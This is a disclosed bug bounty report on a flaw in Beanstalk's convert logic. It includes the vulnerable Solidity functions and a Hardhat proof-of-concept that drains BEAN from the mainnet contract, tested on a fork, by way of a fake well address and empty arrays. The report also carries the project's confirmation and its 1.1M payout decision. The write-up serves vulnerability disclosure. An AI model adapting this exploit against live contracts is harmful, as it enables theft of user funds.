📄

Report #25519

Report Date
November 8, 2023
Status
Confirmed
Payout
1,100,000

Beanstalk's all BEAN can be drained by hacker. Due to bug in convertFacet and LibWellConvert

Report Info

Report ID

#25519

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Bug Description

Beanstalk hold BEAN's as part of protocol functionality. It has convertFacet to maintain the peg of BEAN. with help of Curve and well liquidity it maintain BEAN to 1$ peg by rewarding users.

This convertFacet logic is vulnerable. it doesn't verify well address explicitly while converting. It run on assumptions that if token has deposit than it is whitelisted. but this can be bypassed by zero value bug.

How whitelist can be bypassed ?

  1. convert function accept 3 param.

Bug :- It didn't validate that stems and amounts should not have zero length. [This is good to have resolution]

function convert(
    bytes calldata convertData,
    int96[] memory stems,
    uint256[] memory amounts
)
  1. next it call LibConvert.convert with help convertData. convertData have convertKind and other helping data. if convertKind is WELL_LP_TO_BEANS, it has user provided well (token) address.
  2. next it call convertLPToBeans
else if (kind == LibConvertData.ConvertKind.WELL_LP_TO_BEANS) {
    (tokenOut, tokenIn, amountOut, amountIn) = LibWellConvert
        .convertLPToBeans(convertData);
}

Bug :- It didn't verified well address is whitelisted and lp is greater than 0. [This well address must be validated by isWell or by checking s.ss[token].selector]

function convertLPToBeans(bytes memory convertData)
    internal
    returns (
        address tokenOut,
        address tokenIn,
        uint256 amountOut,
        uint256 amountIn
    )
{
    (uint256 lp, uint256 minBeans, address well) = convertData.convertWithAddress();

    tokenOut = C.BEAN;
    tokenIn = well;

    (amountOut, amountIn) = _wellRemoveLiquidityTowardsPeg(lp, minBeans, well);
}
  1. it do call to _wellRemoveLiquidityTowardsPeg, well address can be malicious and lpConverted is zero from previous call. so it return

(amountIn = 0) and amountOut = (maliciousWell Output).

lpToPeg(well) => this can be bypassed since well is malicious.

function _wellRemoveLiquidityTowardsPeg(
    uint256 lp,
    uint256 minBeans,
    address well
) internal returns (uint256 beans, uint256 lpConverted) {
    uint256 maxLp = lpToPeg(well);
    require(maxLp > 0, "Convert: P must be < 1.");
    lpConverted = lp > maxLp ? maxLp : lp;
    beans = IWell(well).removeLiquidityOneToken(
        lpConverted,
        C.bean(),
        minBeans,
        address(this),
        block.timestamp
    );
}
  1. This goes back to convert function. _withdrawTokens is completely bypassed because length of stems and amounts is zero and fromAmount is also zero.
  • toToken = BEAN
  • fromToken = Malicious well
  • toAmount = can be anything because returned by Malicious well's removeLiquidityOneToken call. = BEAN balance of beanstalk's contract.
  • fromAmount = 0

so, eventually this convert function make BEAN deposit without withdrawing any real token.

Later this fund can be claimed by withdrawDeposits call to siloFacet.

function convert(
    bytes calldata convertData,
    int96[] memory stems,
    uint256[] memory amounts
)
    external
    payable
    nonReentrant
    returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
    address toToken; address fromToken; uint256 grownStalk;
    (toToken, fromToken, toAmount, fromAmount) = LibConvert.convert(
        convertData
    );

    LibSilo._mow(msg.sender, fromToken);
    LibSilo._mow(msg.sender, toToken);

    (grownStalk, fromBdv) = _withdrawTokens(
        fromToken,
        stems,
        amounts,
        fromAmount
    );

    uint256 newBdv = LibTokenSilo.beanDenominatedValue(toToken, toAmount);
    toBdv = newBdv > fromBdv ? newBdv : fromBdv;

    toStem = _depositTokensForConvert(toToken, toAmount, toBdv, grownStalk);

    emit Convert(msg.sender, fromToken, toToken, fromAmount, toAmount);
}

Impact

=> BeanStalk contract holding all bean can be drained. which is 22,848,231 BEANS. => This hacked BEAN can be swapped in LP Pools. Current available Lp is

  • Well Pool = 6750 ETH, value of 12,765,569 USD.
  • Curve Pool = 105,017 Curve, value of 107,958 USD.

This is effective benefit of hacker.

Risk Breakdown

Difficulty to Exploit: Easy

Recommendation

  • Well address in convertFacet must be explicitly verified. This validation can be put at LibWellConvert's convertLPToBeans and convertBeansToLP function.

Proof of concept

POC code.

const { AbiCoder } = require("ethers/lib/utils");
const { ethers } = require("hardhat");
const beankstalkABI = require('./beanstalk.json');
const beantokenABI = require('./beantoken.json')

const BEANSTALK = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5";
const BEAN_TOKEN = "0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab";

it("Should able to drain token", async function () {

    // We are in forking state as defined in hardhat.config.js\
    console.log("[MAINNET FORKING]\n");

    const [account, addr1] = await ethers.getSigners();

    let fakeTarget = await ethers.deployContract("MockTarget")
    let fakeWell = await ethers.deployContract("MockSetComponentsWell")
    await fakeWell.setTokens([BEAN_TOKEN])
    await fakeWell.setReserves(["1000000"])
    await fakeWell.setWellFunction([fakeTarget.address, "0x"])

    const beanStalk = await ethers.getContractAt(beankstalkABI, BEANSTALK)
    const beanToken = await ethers.getContractAt(beantokenABI, BEAN_TOKEN)

    let abiCoder = new AbiCoder()
    let convertData = abiCoder.encode([ "uint", "uint256", "uint256", "address" ], [ 6, "0", "0", fakeWell.address ])

    let beanBalance = await beanToken.balanceOf(account.address)
    console.log("Balance Before hacker wallet: ", beanBalance)
    console.log("Balance Before BeanStalk contract: ", await beanToken.balanceOf(BEANSTALK))
    console.log("\n\n", "----------------- Hacking Started -----------------", "\n")

    let stemTip = await beanStalk.stemTipForToken(BEAN_TOKEN)

    let gasLimitConvert = await beanStalk.estimateGas.convert(convertData, [], [])
    await beanStalk.convert(convertData, [], [], {gasLimit: gasLimitConvert})

    let gasLimitWithdraw = await beanStalk.estimateGas.withdrawDeposits(BEAN_TOKEN,[stemTip], ["11000000000000"], 0)
    await beanStalk.withdrawDeposits(BEAN_TOKEN, [stemTip], ["11000000000000"], 0, {gasLimit: gasLimitWithdraw})

    console.log("\n\n", "----------------- Hacking Completed -----------------", "\n\n")
    let beanAfter = await beanToken.balanceOf(account.address)
    console.log("Balance After hacker wallet: ", beanAfter)
    console.log("Balance After BeanStalk contract: ", await beanToken.balanceOf(BEANSTALK))
});

The hardhat based runable code is attached in mega link.

https://mega.nz/file/9vllRL7Y#BjOOR18WVwaWxdfr9CVfUzlfJfs4NmOejg6jxs0HSXA

cmd to run.

npm i
npx hardhat test

note :-

  • 11m is hardcoded value of draining BEAN in POC, but this can be BEAN balance of BeanStalk contract.
  • fake well is required to just return value, so MockSetComponentsWell is used with added modification.

BIR-7: Verify Whitelisted Pool for Converts

BIC Response

Based on our bounty page, this submission's (Smart Contract - Critical) reward is capped at the lower of (a) 10% of practicable economic damage, or (b) USD 1 100 000, primarily taking into consideration Beans/BDV at risk and paid at the rate of 1 BEAN to 1 USD.

The BIC determined that the funds at risk were all of the Beans in the Beanstalk contract (~22.8M) given that an attacker could have Converted all of these Beans into their own Bean Deposits (which could then be Withdrawn and sold).

Given this, the BIC has determined that this report qualifies for the max reward of 1.1M Beans.